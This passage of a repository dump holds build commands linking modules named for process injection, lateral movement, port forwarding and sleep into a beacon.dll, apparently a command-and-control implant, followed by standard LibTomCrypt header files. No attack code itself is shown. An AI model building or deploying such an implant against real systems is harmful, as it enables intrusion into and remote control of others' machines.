15 | clang++ -c encrypt_decrypt.cpp -o ./release/encrypt_decrypt.o
16 | clang++ -c Global.cpp -o ./release/Global.o
17 | clang++ -c rotation.cpp -o ./release/rotation.o
18 | clang++ -c Utils.cpp -o ./release/Utils.o
19 | clang++ ./release/Utils.o ./release/rotation.o ./release/Global.o ./release/encrypt_decrypt.o ./release/common.o ./release/comm.o ./release/ChildBeacon.o ./release/BeaconX64.o ./release/BeaconTask.o ./release/BeaconSleep.o ./release/Beaconrportfwd.o ./release/BeaconLateralMovement.o ./release/BeaconJob.o ./release/BeaconInject.o ./release/BeaconFileManage.o ./release/BeaconBof.o ./release/beaconMain.o -shared -o ./release/beacon.dll -v
--------------------------------------------------------------------------------
/tomcrypt.h:
--------------------------------------------------------------------------------
1 | /* LibTomCrypt, modular cryptographic library -- Tom St Denis
2 | *
3 | * LibTomCrypt is a library that provides various cryptographic
4 | * algorithms in a highly modular and flexible manner.
5 | *
6 | * The library is free for all purposes without any express
7 | * guarantee it works.
8 | */
9 |
10 | #ifndef TOMCRYPT_H_
11 | #define TOMCRYPT_H_
12 | #include
13 | #include
14 | #include
15 | #include
16 | #include
17 | #include
18 | #include
19 | #include
20 |
21 | /* use configuration data */
22 | #include "tomcrypt_custom.h"
23 |
24 | #ifdef __cplusplus
25 | extern "C" {
26 | #endif
27 |
28 | /* version */
29 | #define CRYPT 0x0118
30 | #define SCRYPT "1.18.2"
31 |
32 | /* max size of either a cipher/hash block or symmetric key [largest of the two] */
33 | #define MAXBLOCKSIZE 128
34 |
35 | #ifndef TAB_SIZE
36 | /* descriptor table size */
37 | #define TAB_SIZE 32
38 | #endif
39 |
40 | /* error codes [will be expanded in future releases] */
41 | enum {
42 | CRYPT_OK=0, /* Result OK */
43 | CRYPT_ERROR, /* Generic Error */
44 | CRYPT_NOP, /* Not a failure but no operation was performed */
45 |
46 | CRYPT_INVALID_KEYSIZE, /* Invalid key size given */
47 | CRYPT_INVALID_ROUNDS, /* Invalid number of rounds */
48 | CRYPT_FAIL_TESTVECTOR, /* Algorithm failed test vectors */
49 |
50 | CRYPT_BUFFER_OVERFLOW, /* Not enough space for output */
51 | CRYPT_INVALID_PACKET, /* Invalid input packet given */
52 |
53 | CRYPT_INVALID_PRNGSIZE, /* Invalid number of bits for a PRNG */
54 | CRYPT_ERROR_READPRNG, /* Could not read enough from PRNG */
55 |
56 | CRYPT_INVALID_CIPHER, /* Invalid cipher specified */
57 | CRYPT_INVALID_HASH, /* Invalid hash specified */
58 | CRYPT_INVALID_PRNG, /* Invalid PRNG specified */
59 |
60 | CRYPT_MEM, /* Out of memory */
61 |
62 | CRYPT_PK_TYPE_MISMATCH, /* Not equivalent types of PK keys */
63 | CRYPT_PK_NOT_PRIVATE, /* Requires a private PK key */
64 |
65 | CRYPT_INVALID_ARG, /* Generic invalid argument */
66 | CRYPT_FILE_NOTFOUND, /* File Not Found */
67 |
68 | CRYPT_PK_INVALID_TYPE, /* Invalid type of PK key */
69 |
70 | CRYPT_OVERFLOW, /* An overflow of a value was detected/prevented */
71 |
72 | CRYPT_UNUSED1, /* UNUSED1 */
73 |
74 | CRYPT_INPUT_TOO_LONG, /* The input was longer than expected. */
75 |
76 | CRYPT_PK_INVALID_SIZE, /* Invalid size input for PK parameters */
77 |
78 | CRYPT_INVALID_PRIME_SIZE,/* Invalid size of prime requested */
79 | CRYPT_PK_INVALID_PADDING, /* Invalid padding on input */
80 |
81 | CRYPT_HASH_OVERFLOW /* Hash applied to too many bits */
82 | };
83 |
84 | #include "tomcrypt_cfg.h"
85 | #include "tomcrypt_macros.h"
86 | #include "tomcrypt_cipher.h"
87 | #include "tomcrypt_hash.h"
88 | #include "tomcrypt_mac.h"
89 | #include "tomcrypt_prng.h"
90 | #include "tomcrypt_pk.h"
91 | #include "tomcrypt_math.h"
92 | #include "tomcrypt_misc.h"
93 | #include "tomcrypt_argchk.h"
94 | #include "tomcrypt_pkcs.h"
95 |
96 | #ifdef __cplusplus
97 | }
98 | #endif
99 |
100 | #endif /* TOMCRYPT_H_ */
101 |
102 |
103 | /* ref: HEAD -> master, tag: v1.18.2 */
104 | /* git commit: 7e7eb695d581782f04b24dc444cbfde86af59853 */
105 | /* commit time: 2018-07-01 22:49:01 +0200 */
106 |
--------------------------------------------------------------------------------
/tomcrypt.lib:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/bestspear/ReBeacon_ForClang/d9a6d3d427ae83c161919a8e681f0acc453b818f/tomcrypt.lib
--------------------------------------------------------------------------------
/tomcrypt_argchk.h:
--------------------------------------------------------------------------------
1 | /* LibTomCrypt, modular cryptographic library -- Tom St Denis
2 | *
3 | * LibTomCrypt is a library that provides various cryptographic
4 | * algorithms in a highly modular and flexible manner.
5 | *
6 | * The library is free for all purposes without any express
7 | * guarantee it works.
8 | */
9 |
10 | /* Defines the LTC_ARGCHK macro used within the library */
11 | /* ARGTYPE is defined in tomcrypt_cfg.h */
12 | #if ARGTYPE == 0
13 |
14 | #include
15 |
16 | /* this is the default LibTomCrypt macro */
17 | #if defined(__clang__) || defined(__GNUC_MINOR__)
18 | #define NORETURN __attribute__ ((noreturn))
19 | #else
20 | #define NORETURN
21 | #endif
22 |
23 | void crypt_argchk(const char *v, const char *s, int d) NORETURN;
24 | #define LTC_ARGCHK(x) do { if (!(x)) { crypt_argchk(#x, __FILE__, __LINE__); } }while(0)
25 | #define LTC_ARGCHKVD(x) do { if (!(x)) { crypt_argchk(#x, __FILE__, __LINE__); } }while(0)
26 |
27 | #elif ARGTYPE == 1
28 |
29 | /* fatal type of error */
30 | #define LTC_ARGCHK(x) assert((x))
31 | #define LTC_ARGCHKVD(x) LTC_ARGCHK(x)
32 |
33 | #elif ARGTYPE == 2
34 |
35 | #define LTC_ARGCHK(x) if (!(x)) { fprintf(stderr, "\nwarning: ARGCHK failed at %s:%d\n", __FILE__, __LINE__); }
36 | #define LTC_ARGCHKVD(x) LTC_ARGCHK(x)
37 |
38 | #elif ARGTYPE == 3
39 |
40 | #define LTC_ARGCHK(x)
41 | #define LTC_ARGCHKVD(x) LTC_ARGCHK(x)
42 |
43 | #elif ARGTYPE == 4
44 |
45 | #define LTC_ARGCHK(x) if (!(x)) return CRYPT_INVALID_ARG;
46 | #define LTC_ARGCHKVD(x) if (!(x)) return;
47 |
48 | #endif
49 |
50 |
51 | /* ref: HEAD -> master, tag: v1.18.2 */
52 | /* git commit: 7e7eb695d581782f04b24dc444cbfde86af59853 */
53 | /* commit time: 2018-07-01 22:49:01 +0200 */
54 |
--------------------------------------------------------------------------------
/tomcrypt_cfg.h:
--------------------------------------------------------------------------------
1 | /* LibTomCrypt, modular cryptographic library -- Tom St Denis
2 | *
3 | * LibTomCrypt is a library that provides various cryptographic
4 | * algorithms in a highly modular and flexible manner.
5 | *
6 | * The library is free for all purposes without any express
7 | * guarantee it works.
8 | */
9 |
10 | /* This is the build config file.
11 | *
12 | * With this you can setup what to inlcude/exclude automatically during any build. Just comment
13 | * out the line that #define's the word for the thing you want to remove. phew!
14 | */
15 |
16 | #ifndef TOMCRYPT_CFG_H
17 | #define TOMCRYPT_CFG_H
18 |
19 | #if defined(_WIN32) || defined(_MSC_VER)
20 | #define LTC_CALL __cdecl
21 | #elif !defined(LTC_CALL)
22 | #define LTC_CALL
23 | #endif
24 |
25 | #ifndef LTC_EXPORT
26 | #define LTC_EXPORT
27 | #endif
28 |
29 | /* certain platforms use macros for these, making the prototypes broken */
30 | #ifndef LTC_NO_PROTOTYPES
31 |
32 | /* you can change how memory allocation works ... */
33 | LTC_EXPORT void * LTC_CALL XMALLOC(size_t n);
34 | LTC_EXPORT void * LTC_CALL XREALLOC(void *p, size_t n);
35 | LTC_EXPORT void * LTC_CALL XCALLOC(size_t n, size_t s);
36 | LTC_EXPORT void LTC_CALL XFREE(void *p);
37 |
38 | LTC_EXPORT void LTC_CALL XQSORT(void *base, size_t nmemb, size_t size, int(*compar)(const void *, const void *));
39 |
40 |
41 | /* change the clock function too */
42 | LTC_EXPORT clock_t LTC_CALL XCLOCK(void);
43 |
44 | /* various other functions */
45 | LTC_EXPORT void * LTC_CALL XMEMCPY(void *dest, const void *src, size_t n);
46 | LTC_EXPORT int LTC_CALL XMEMCMP(const void *s1, const void *s2, size_t n);
47 | LTC_EXPORT void * LTC_CALL XMEMSET(void *s, int c, size_t n);
48 |
49 | LTC_EXPORT int LTC_CALL XSTRCMP(const char *s1, const char *s2);
50 |
51 | #endif
52 |
53 | /* some compilers do not like "inline" (or maybe "static inline"), namely: HP cc, IBM xlc */
54 | #if defined(__HP_cc) || defined(__xlc__)
55 | #define LTC_INLINE
56 | #elif defined(_MSC_VER)
57 | #define LTC_INLINE __inline
58 | #else
59 | #define LTC_INLINE inline
60 | #endif
61 |
62 | /* type of argument checking, 0=default, 1=fatal and 2=error+continue, 3=nothing */
63 | #ifndef ARGTYPE
64 | #define ARGTYPE 0
65 | #endif
66 |
67 | #undef LTC_ENCRYPT
68 | #define LTC_ENCRYPT 0
69 | #undef LTC_DECRYPT
70 | #define LTC_DECRYPT 1
71 |
72 | /* Controls endianess and size of registers. Leave uncommented to get platform neutral [slower] code
73 | *
74 | * Note: in order to use the optimized macros your platform must support unaligned 32 and 64 bit read/writes.
75 | * The x86 platforms allow this but some others [ARM for instance] do not. On those platforms you **MUST**
76 | * use the portable [slower] macros.
77 | */
78 | /* detect x86/i386 32bit */
79 | #if defined(__i386__) || defined(__i386) || defined(_M_IX86)
80 | #define ENDIAN_LITTLE
81 | #define ENDIAN_32BITWORD
82 | #define LTC_FAST
83 | #endif
84 |
85 | /* detect amd64/x64 */
86 | #if defined(__x86_64__) || defined(_M_X64) || defined(_M_AMD64)
87 | #define ENDIAN_LITTLE
88 | #define ENDIAN_64BITWORD
89 | #define LTC_FAST
90 | #endif
91 |
92 | /* detect PPC32 */
93 | #if defined(LTC_PPC32)
94 | #define ENDIAN_BIG
95 | #define ENDIAN_32BITWORD
96 | #define LTC_FAST
97 | #endif
98 |
99 | /* detects MIPS R5900 processors (PS2) */
100 | #if (defined(__R5900) || defined(R5900) || defined(__R5900__)) && (defined(_mips) || defined(__mips__) || defined(mips))
101 | #define ENDIAN_64BITWORD
102 | #if defined(_MIPSEB) || defined(__MIPSEB) || defined(__MIPSEB__)
103 | #define ENDIAN_BIG
104 | #endif
105 | #define ENDIAN_LITTLE
106 | #endif
107 | #endif
108 |
109 | /* detect AIX */
110 | #if defined(_AIX) && defined(_BIG_ENDIAN)
111 | #define ENDIAN_BIG
112 | #if defined(__LP64__) || defined(_ARCH_PPC64)
113 | #define ENDIAN_64BITWORD
114 | #else
115 | #define ENDIAN_32BITWORD
116 | #endif
117 | #endif
118 |
119 | /* detect HP-UX */
120 | #if defined(__hpux) || defined(__hpux__)
121 | #define ENDIAN_BIG
122 | #if defined(__ia64) || defined(__ia64__) || defined(__LP64__)
123 | #define ENDIAN_64BITWORD
124 | #else
125 | #define ENDIAN_32BITWORD
126 | #endif
127 | #endif
128 |
129 | /* detect Apple OS X */
130 | #if defined(__APPLE__) && defined(__MACH__)
131 | #if defined(__LITTLE_ENDIAN__) || defined(__x86_64__)
132 | #define ENDIAN_LITTLE
133 | #else
134 | #define ENDIAN_BIG
135 | #endif
136 | #if defined(__LP64__) || defined(__x86_64__)
137 | #define ENDIAN_64BITWORD
138 | #else
139 | #define ENDIAN_32BITWORD
140 | #endif
141 | #endif
142 |
143 | /* detect SPARC and SPARC64 */
144 | #if defined(__sparc__) || defined(__sparc)
145 | #define ENDIAN_BIG
146 | #if defined(__arch64__) || defined(__sparcv9) || defined(__sparc_v9__)
147 | #define ENDIAN_64BITWORD
148 | #else
149 | #define ENDIAN_32BITWORD
150 | #endif
151 | #endif
152 |
153 | /* detect IBM S390(x) */
154 | #if defined(__s390x__) || defined(__s390__)
155 | #define ENDIAN_BIG
156 | #if defined(__s390x__)
157 | #define ENDIAN_64BITWORD
158 | #else
159 | #define ENDIAN_32BITWORD
160 | #endif
161 | #endif
162 |
163 | /* detect PPC64 */
164 | #if defined(__powerpc64__) || defined(__ppc64__) || defined(__PPC64__)
165 | #define ENDIAN_64BITWORD
166 | #if __BYTE_ORDER__ == __ORDER_BIG_ENDIAN__
167 | #define ENDIAN_BIG
168 | #elif __BYTE_ORDER__ == __ORDER_LITTLE_ENDIAN__
169 | #define ENDIAN_LITTLE
170 | #endif
171 | #define LTC_FAST
172 | #endif
173 |
174 | /* endianness fallback */
175 | #if !defined(ENDIAN_BIG) && !defined(ENDIAN_LITTLE)
176 | #if defined(_BYTE_ORDER) && _BYTE_ORDER == _BIG_ENDIAN || \
177 | defined(__BYTE_ORDER) && __BYTE_ORDER == __BIG_ENDIAN || \
178 | defined(__BYTE_ORDER__) && __BYTE_ORDER__ == __ORDER_BIG_ENDIAN__ || \
179 | defined(__BIG_ENDIAN__) || \
180 | defined(__ARMEB__) || defined(__THUMBEB__) || defined(__AARCH64EB__) || \
181 | defined(_MIPSEB) || defined(__MIPSEB) || defined(__MIPSEB__)
182 | #define ENDIAN_BIG
183 | #elif defined(_BYTE_ORDER) && _BYTE_ORDER == _LITTLE_ENDIAN || \
184 | defined(__BYTE_ORDER) && __BYTE_ORDER == __LITTLE_ENDIAN || \
185 | defined(__BYTE_ORDER__) && __BYTE_ORDER__ == __ORDER_LITTLE_ENDIAN__ || \
186 | defined(__LITTLE_ENDIAN__) || \
187 | defined(__ARMEL__) || defined(__THUMBEL__) || defined(__AARCH64EL__) || \
188 | defined(_MIPSEL) || defined(__MIPSEL) || defined(__MIPSEL__)
189 | #define ENDIAN_LITTLE
190 | #else
191 | #error Cannot detect endianness
192 | #endif
193 | #endif
194 |
195 | /* ulong64: 64-bit data type */
196 | #ifdef _MSC_VER
197 | #define CONST64(n) n ## ui64
198 | typedef unsigned __int64 ulong64;
199 | #else
200 | #define CONST64(n) n ## ULL
201 | typedef unsigned long long ulong64;
202 | #endif
203 |
204 | /* ulong32: "32-bit at least" data type */
205 | #if defined(__x86_64__) || defined(_M_X64) || defined(_M_AMD64) || \
206 | defined(__powerpc64__) || defined(__ppc64__) || defined(__PPC64__) || \
207 | defined(__s390x__) || defined(__arch64__) || defined(__aarch64__) || \
208 | defined(__sparcv9) || defined(__sparc_v9__) || defined(__sparc64__) || \
209 | defined(__ia64) || defined(__ia64__) || defined(__itanium__) || defined(_M_IA64) || \
210 | defined(__LP64__) || defined(_LP64) || defined(__64BIT__)
211 | typedef unsigned ulong32;
212 | #if !defined(ENDIAN_64BITWORD) && !defined(ENDIAN_32BITWORD)
213 | #define ENDIAN_64BITWORD
214 | #endif
215 | #else
216 | typedef unsigned long ulong32;
217 | #if !defined(ENDIAN_64BITWORD) && !defined(ENDIAN_32BITWORD)
218 | #define ENDIAN_32BITWORD
219 | #endif
220 | #endif
221 |
222 | #if defined(ENDIAN_64BITWORD) && !defined(_MSC_VER)
223 | typedef unsigned long long ltc_mp_digit;
224 | #else
225 | typedef unsigned long ltc_mp_digit;
226 | #endif
227 |
228 | /* No asm is a quick way to disable anything "not portable" */
229 | #ifdef LTC_NO_ASM
230 | #define ENDIAN_NEUTRAL
231 | #undef ENDIAN_32BITWORD
232 | #undef ENDIAN_64BITWORD
233 | #undef LTC_FAST
234 | #define LTC_NO_ROLC
235 | #define LTC_NO_BSWAP
236 | #endif
237 |
238 | /* No LTC_FAST if: explicitly disabled OR non-gcc/non-clang compiler OR old gcc OR using -ansi -std=c99 */
239 | #if defined(LTC_NO_FAST) || (__GNUC__ < 4) || defined(__STRICT_ANSI__)
240 | #undef LTC_FAST
241 | #endif
242 |
243 | #ifdef LTC_FAST
244 | #define LTC_FAST_TYPE_PTR_CAST(x) ((LTC_FAST_TYPE*)(void*)(x))
245 | #ifdef ENDIAN_64BITWORD
246 | typedef ulong64 __attribute__((__may_alias__)) LTC_FAST_TYPE;
247 | #else
248 | typedef ulong32 __attribute__((__may_alias__)) LTC_FAST_TYPE;
249 | #endif
250 | #endif
251 |
252 | #if !defined(ENDIAN_NEUTRAL) && (defined(ENDIAN_BIG) || defined(ENDIAN_LITTLE)) && !(defined(ENDIAN_32BITWORD) || defined(ENDIAN_64BITWORD))
253 | #error You must specify a word size as well as endianess in tomcrypt_cfg.h
254 | #endif
255 |
256 | #if !(defined(ENDIAN_BIG) || defined(ENDIAN_LITTLE))
257 | #define ENDIAN_NEUTRAL
258 | #endif
259 |
260 | #if (defined(ENDIAN_32BITWORD) && defined(ENDIAN_64BITWORD))
261 | #error Cannot be 32 and 64 bit words...
262 | #endif
263 |
264 | /* gcc 4.3 and up has a bswap builtin; detect it by gcc version.
265 | * clang also supports the bswap builtin, and although clang pretends
266 | * to be gcc (macro-wise, anyway), clang pretends to be a version
267 | * prior to gcc 4.3, so we can't detect bswap that way. Instead,
268 | * clang has a __has_builtin mechanism that can be used to check
269 | * for builtins:
270 | * http://clang.llvm.org/docs/LanguageExtensions.html#feature_check */
271 | #ifndef __has_builtin
272 | #define __has_builtin(x) 0
273 | #endif
274 | #if !defined(LTC_NO_BSWAP) && defined(__GNUC__) && \
275 | ((__GNUC__ * 100 + __GNUC_MINOR__ >= 403) || \
276 | (__has_builtin(__builtin_bswap32) && __has_builtin(__builtin_bswap64)))
277 | #define LTC_HAVE_BSWAP_BUILTIN
278 | #endif
279 |
280 |
281 | /* ref: HEAD -> master, tag: v1.18.2 */
282 | /* git commit: 7e7eb695d581782f04b24dc444cbfde86af59853 */
283 | /* commit time: 2018-07-01 22:49:01 +0200 */
284 |
--------------------------------------------------------------------------------
/tomcrypt_custom.h:
--------------------------------------------------------------------------------
1 | /* LibTomCrypt, modular cryptographic library -- Tom St Denis
2 | *
3 | * LibTomCrypt is a library that provides various cryptographic
4 | * algorithms in a highly modular and flexible manner.
5 | *
6 | * The library is free for all purposes without any express
7 | * guarantee it works.
8 | */
9 |
10 | #ifndef TOMCRYPT_CUSTOM_H_
11 | #define TOMCRYPT_CUSTOM_H_
12 |
13 | /* macros for various libc functions you can change for embedded targets */
14 | #ifndef XMALLOC
15 | #define XMALLOC malloc
16 | #endif
17 | #ifndef XREALLOC
18 | #define XREALLOC realloc
19 | #endif
20 | #ifndef XCALLOC
21 | #define XCALLOC calloc
22 | #endif
23 | #ifndef XFREE
24 | #define XFREE free
25 | #endif
26 |
27 | #ifndef XMEMSET
28 | #define XMEMSET memset
29 | #endif
30 | #ifndef XMEMCPY
31 | #define XMEMCPY memcpy
32 | #endif
33 | #ifndef XMEMMOVE
34 | #define XMEMMOVE memmove
35 | #endif
36 | #ifndef XMEMCMP
37 | #define XMEMCMP memcmp
38 | #endif
39 | /* A memory compare function that has to run in constant time,
40 | * c.f. mem_neq() API summary.
41 | */
42 | #ifndef XMEM_NEQ
43 | #define XMEM_NEQ mem_neq
44 | #endif
45 | #ifndef XSTRCMP
46 | #define XSTRCMP strcmp
47 | #endif
48 |
49 | #ifndef XCLOCK
50 | #define XCLOCK clock
51 | #endif
52 |
53 | #ifndef XQSORT
54 | #define XQSORT qsort
55 | #endif
56 |
57 | #if ( defined(malloc) || defined(realloc) || defined(calloc) || defined(free) || \
58 | defined(memset) || defined(memcpy) || defined(memcmp) || defined(strcmp) || \
59 | defined(clock) || defined(qsort) ) && !defined(LTC_NO_PROTOTYPES)
60 | #define LTC_NO_PROTOTYPES
61 | #endif
62 |
63 | /* shortcut to disable automatic inclusion */
64 | #if defined LTC_NOTHING && !defined LTC_EASY
65 | #define LTC_NO_CIPHERS
66 | #define LTC_NO_MODES
67 | #define LTC_NO_HASHES
68 | #define LTC_NO_MACS
69 | #define LTC_NO_PRNGS
70 | #define LTC_NO_PK
71 | #define LTC_NO_PKCS
72 | #define LTC_NO_MISC
73 | #endif /* LTC_NOTHING */
74 |
75 | /* Easy button? */
76 | #ifdef LTC_EASY
77 | #define LTC_NO_CIPHERS
78 | #define LTC_RIJNDAEL
79 | #define LTC_BLOWFISH
80 | #define LTC_DES
81 | #define LTC_CAST5
82 |
83 | #define LTC_NO_MODES
84 | #define LTC_ECB_MODE
85 | #define LTC_CBC_MODE
86 | #define LTC_CTR_MODE
87 |
88 | #define LTC_NO_HASHES
89 | #define LTC_SHA1
90 | #define LTC_SHA3
91 | #define LTC_SHA512
92 | #define LTC_SHA384
93 | #define LTC_SHA256
94 | #define LTC_SHA224
95 | #define LTC_HASH_HELPERS
96 |
97 | #define LTC_NO_MACS
98 | #define LTC_HMAC
99 | #define LTC_OMAC
100 | #define LTC_CCM_MODE
101 |
102 | #define LTC_NO_PRNGS
103 | #define LTC_SPRNG
104 | #define LTC_YARROW
105 | #define LTC_DEVRANDOM
106 | #define LTC_TRY_URANDOM_FIRST
107 | #define LTC_RNG_GET_BYTES
108 | #define LTC_RNG_MAKE_PRNG
109 |
110 | #define LTC_NO_PK
111 | #define LTC_MRSA
112 | #define LTC_MECC
113 |
114 | #define LTC_NO_MISC
115 | #define LTC_BASE64
116 | #endif
117 |
118 | /* The minimal set of functionality to run the tests */
119 | #ifdef LTC_MINIMAL
120 | #define LTC_RIJNDAEL
121 | #define LTC_SHA256
122 | #define LTC_YARROW
123 | #define LTC_CTR_MODE
124 |
125 | #define LTC_RNG_MAKE_PRNG
126 | #define LTC_RNG_GET_BYTES
127 | #define LTC_DEVRANDOM
128 | #define LTC_TRY_URANDOM_FIRST
129 |
130 | #undef LTC_NO_FILE
131 | #endif
132 |
133 | /* Enable self-test test vector checking */
134 | #ifndef LTC_NO_TEST
135 | #define LTC_TEST
136 | #endif
137 | /* Enable extended self-tests */
138 | /* #define LTC_TEST_EXT */
139 |
140 | /* Use small code where possible */
141 | /* #define LTC_SMALL_CODE */
142 |
143 | /* clean the stack of functions which put private information on stack */
144 | /* #define LTC_CLEAN_STACK */
145 |
146 | /* disable all file related functions */
147 | /* #define LTC_NO_FILE */
148 |
149 | /* disable all forms of ASM */
150 | /* #define LTC_NO_ASM */
151 |
152 | /* disable FAST mode */
153 | /* #define LTC_NO_FAST */
154 |
155 | /* disable BSWAP on x86 */
156 | /* #define LTC_NO_BSWAP */
157 |
158 | /* ---> math provider? <--- */
159 | #ifndef LTC_NO_MATH
160 |
161 | /* LibTomMath */
162 | /* #define LTM_DESC */
163 |
164 | /* TomsFastMath */
165 | /* #define TFM_DESC */
166 |
167 | /* GNU Multiple Precision Arithmetic Library */
168 | /* #define GMP_DESC */
169 |
170 | #endif /* LTC_NO_MATH */
171 |
172 | /* ---> Symmetric Block Ciphers <--- */
173 | #ifndef LTC_NO_CIPHERS
174 |
175 | #define LTC_BLOWFISH
176 | #define LTC_RC2
177 | #define LTC_RC5
178 | #define LTC_RC6
179 | #define LTC_SAFERP
180 | #define LTC_RIJNDAEL
181 | #define LTC_XTEA
182 | /* _TABLES tells it to use tables during setup, _SMALL means to use the smaller scheduled key format
183 | * (saves 4KB of ram), _ALL_TABLES enables all tables during setup */
184 | #define LTC_TWOFISH
185 | #ifndef LTC_NO_TABLES
186 | #define LTC_TWOFISH_TABLES
187 | /* #define LTC_TWOFISH_ALL_TABLES */
188 | #else
189 | #define LTC_TWOFISH_SMALL
190 | #endif
191 | /* #define LTC_TWOFISH_SMALL */
192 | /* LTC_DES includes EDE triple-DES */
193 | #define LTC_DES
194 | #define LTC_CAST5
195 | #define LTC_NOEKEON
196 | #define LTC_SKIPJACK
197 | #define LTC_SAFER
198 | #define LTC_KHAZAD
199 | #define LTC_ANUBIS
200 | #define LTC_ANUBIS_TWEAK
201 | #define LTC_KSEED
202 | #define LTC_KASUMI
203 | #define LTC_MULTI2
204 | #define LTC_CAMELLIA
205 |
206 | /* stream ciphers */
207 | #define LTC_CHACHA
208 | #define LTC_RC4_STREAM
209 | #define LTC_SOBER128_STREAM
210 |
211 | #endif /* LTC_NO_CIPHERS */
212 |
213 |
214 | /* ---> Block Cipher Modes of Operation <--- */
215 | #ifndef LTC_NO_MODES
216 |
217 | #define LTC_CFB_MODE
218 | #define LTC_OFB_MODE
219 | #define LTC_ECB_MODE
220 | #define LTC_CBC_MODE
221 | #define LTC_CTR_MODE
222 |
223 | /* F8 chaining mode */
224 | #define LTC_F8_MODE
225 |
226 | /* LRW mode */
227 | #define LTC_LRW_MODE
228 | #ifndef LTC_NO_TABLES
229 | /* like GCM mode this will enable 16 8x128 tables [64KB] that make
230 | * seeking very fast.
231 | */
232 | #define LTC_LRW_TABLES
233 | #endif
234 |
235 | /* XTS mode */
236 | #define LTC_XTS_MODE
237 |
238 | #endif /* LTC_NO_MODES */
239 |
240 | /* ---> One-Way Hash Functions <--- */
241 | #ifndef LTC_NO_HASHES
242 |
243 | #define LTC_CHC_HASH
244 | #define LTC_WHIRLPOOL
245 | #define LTC_SHA3
246 | #define LTC_SHA512
247 | #define LTC_SHA512_256
248 | #define LTC_SHA512_224
249 | #define LTC_SHA384
250 | #define LTC_SHA256
251 | #define LTC_SHA224
252 | #define LTC_TIGER
253 | #define LTC_SHA1
254 | #define LTC_MD5
255 | #define LTC_MD4
256 | #define LTC_MD2
257 | #define LTC_RIPEMD128
258 | #define LTC_RIPEMD160
259 | #define LTC_RIPEMD256
260 | #define LTC_RIPEMD320
261 | #define LTC_BLAKE2S
262 | #define LTC_BLAKE2B
263 |
264 | #define LTC_HASH_HELPERS
265 |
266 | #endif /* LTC_NO_HASHES */
267 |
268 |
269 | /* ---> MAC functions <--- */
270 | #ifndef LTC_NO_MACS
271 |
272 | #define LTC_HMAC
273 | #define LTC_OMAC
274 | #define LTC_PMAC
275 | #define LTC_XCBC
276 | #define LTC_F9_MODE
277 | #define LTC_PELICAN
278 | #define LTC_POLY1305
279 | #define LTC_BLAKE2SMAC
280 | #define LTC_BLAKE2BMAC
281 |
282 | /* ---> Encrypt + Authenticate Modes <--- */
283 |
284 | #define LTC_EAX_MODE
285 |
286 | #define LTC_OCB_MODE
287 | #define LTC_OCB3_MODE
288 | #define LTC_CCM_MODE
289 | #define LTC_GCM_MODE
290 | #define LTC_CHACHA20POLY1305_MODE
291 |
292 | /* Use 64KiB tables */
293 | #ifndef LTC_NO_TABLES
294 | #define LTC_GCM_TABLES
295 | #endif
296 |
297 | /* USE SSE2? requires GCC works on x86_32 and x86_64*/
298 | #ifdef LTC_GCM_TABLES
299 | /* #define LTC_GCM_TABLES_SSE2 */
300 | #endif
301 |
302 | #endif /* LTC_NO_MACS */
303 |
304 |
305 | /* --> Pseudo Random Number Generators <--- */
306 | #ifndef LTC_NO_PRNGS
307 |
308 | /* Yarrow */
309 | #define LTC_YARROW
310 |
311 | /* a PRNG that simply reads from an available system source */
312 | #define LTC_SPRNG
313 |
314 | /* The RC4 stream cipher based PRNG */
315 | #define LTC_RC4
316 |
317 | /* The ChaCha20 stream cipher based PRNG */
318 | #define LTC_CHACHA20_PRNG
319 |
320 | /* Fortuna PRNG */
321 | #define LTC_FORTUNA
322 |
323 | /* Greg's SOBER128 stream cipher based PRNG */
324 | #define LTC_SOBER128
325 |
326 | /* the *nix style /dev/random device */
327 | #define LTC_DEVRANDOM
328 | /* try /dev/urandom before trying /dev/random
329 | * are you sure you want to disable this? http://www.2uo.de/myths-about-urandom/ */
330 | #define LTC_TRY_URANDOM_FIRST
331 | /* rng_get_bytes() */
332 | #define LTC_RNG_GET_BYTES
333 | /* rng_make_prng() */
334 | #define LTC_RNG_MAKE_PRNG
335 |
336 | /* enable the ltc_rng hook to integrate e.g. embedded hardware RNG's easily */
337 | /* #define LTC_PRNG_ENABLE_LTC_RNG */
338 |
339 | #endif /* LTC_NO_PRNGS */
340 |
341 | #ifdef LTC_YARROW
342 |
343 | /* which descriptor of AES to use? */
344 | /* 0 = rijndael_enc 1 = aes_enc, 2 = rijndael [full], 3 = aes [full] */
345 | #ifdef ENCRYPT_ONLY
346 | #define LTC_YARROW_AES 0
347 | #else
348 | #define LTC_YARROW_AES 2
349 | #endif
350 |
351 | #endif
352 |
353 | #ifdef LTC_FORTUNA
354 |
355 | #ifndef LTC_FORTUNA_WD
356 | /* reseed every N calls to the read function */
357 | #define LTC_FORTUNA_WD 10
358 | #endif
359 |
360 | #ifndef LTC_FORTUNA_POOLS
361 | /* number of pools (4..32) can save a bit of ram by lowering the count */
362 | #define LTC_FORTUNA_POOLS 32
363 | #endif
364 |
365 | #endif /* LTC_FORTUNA */
366 |
367 |
368 | /* ---> Public Key Crypto <--- */
369 | #ifndef LTC_NO_PK
370 |
371 | /* Include RSA support */
372 | #define LTC_MRSA
373 |
374 | /* Include Diffie-Hellman support */
375 | /* is_prime fails for GMP */
376 | #define LTC_MDH
377 | /* Supported Key Sizes */
378 | #define LTC_DH768
379 | #define LTC_DH1024
380 | #define LTC_DH1536
381 | #define LTC_DH2048
382 |
383 | #ifndef TFM_DESC
384 | /* tfm has a problem in fp_isprime for larger key sizes */
385 | #define LTC_DH3072
386 | #define LTC_DH4096
387 | #define LTC_DH6144
388 | #define LTC_DH8192
389 | #endif
390 |
391 | /* Include Katja (a Rabin variant like RSA) */
392 | /* #define LTC_MKAT */
393 |
394 | /* Digital Signature Algorithm */
395 | #define LTC_MDSA
396 |
397 | /* ECC */
398 | #define LTC_MECC
399 |
400 | /* use Shamir's trick for point mul (speeds up signature verification) */
401 | #define LTC_ECC_SHAMIR
402 |
403 | #if defined(TFM_DESC) && defined(LTC_MECC)
404 | #define LTC_MECC_ACCEL
405 | #endif
406 |
407 | /* do we want fixed point ECC */
408 | /* #define LTC_MECC_FP */
409 |
410 | #endif /* LTC_NO_PK */
411 |
412 | #if defined(LTC_MRSA) && !defined(LTC_NO_RSA_BLINDING)
413 | /* Enable RSA blinding when doing private key operations by default */
414 | #define LTC_RSA_BLINDING
415 | #endif /* LTC_NO_RSA_BLINDING */
416 |
417 | #if defined(LTC_MRSA) && !defined(LTC_NO_RSA_CRT_HARDENING)
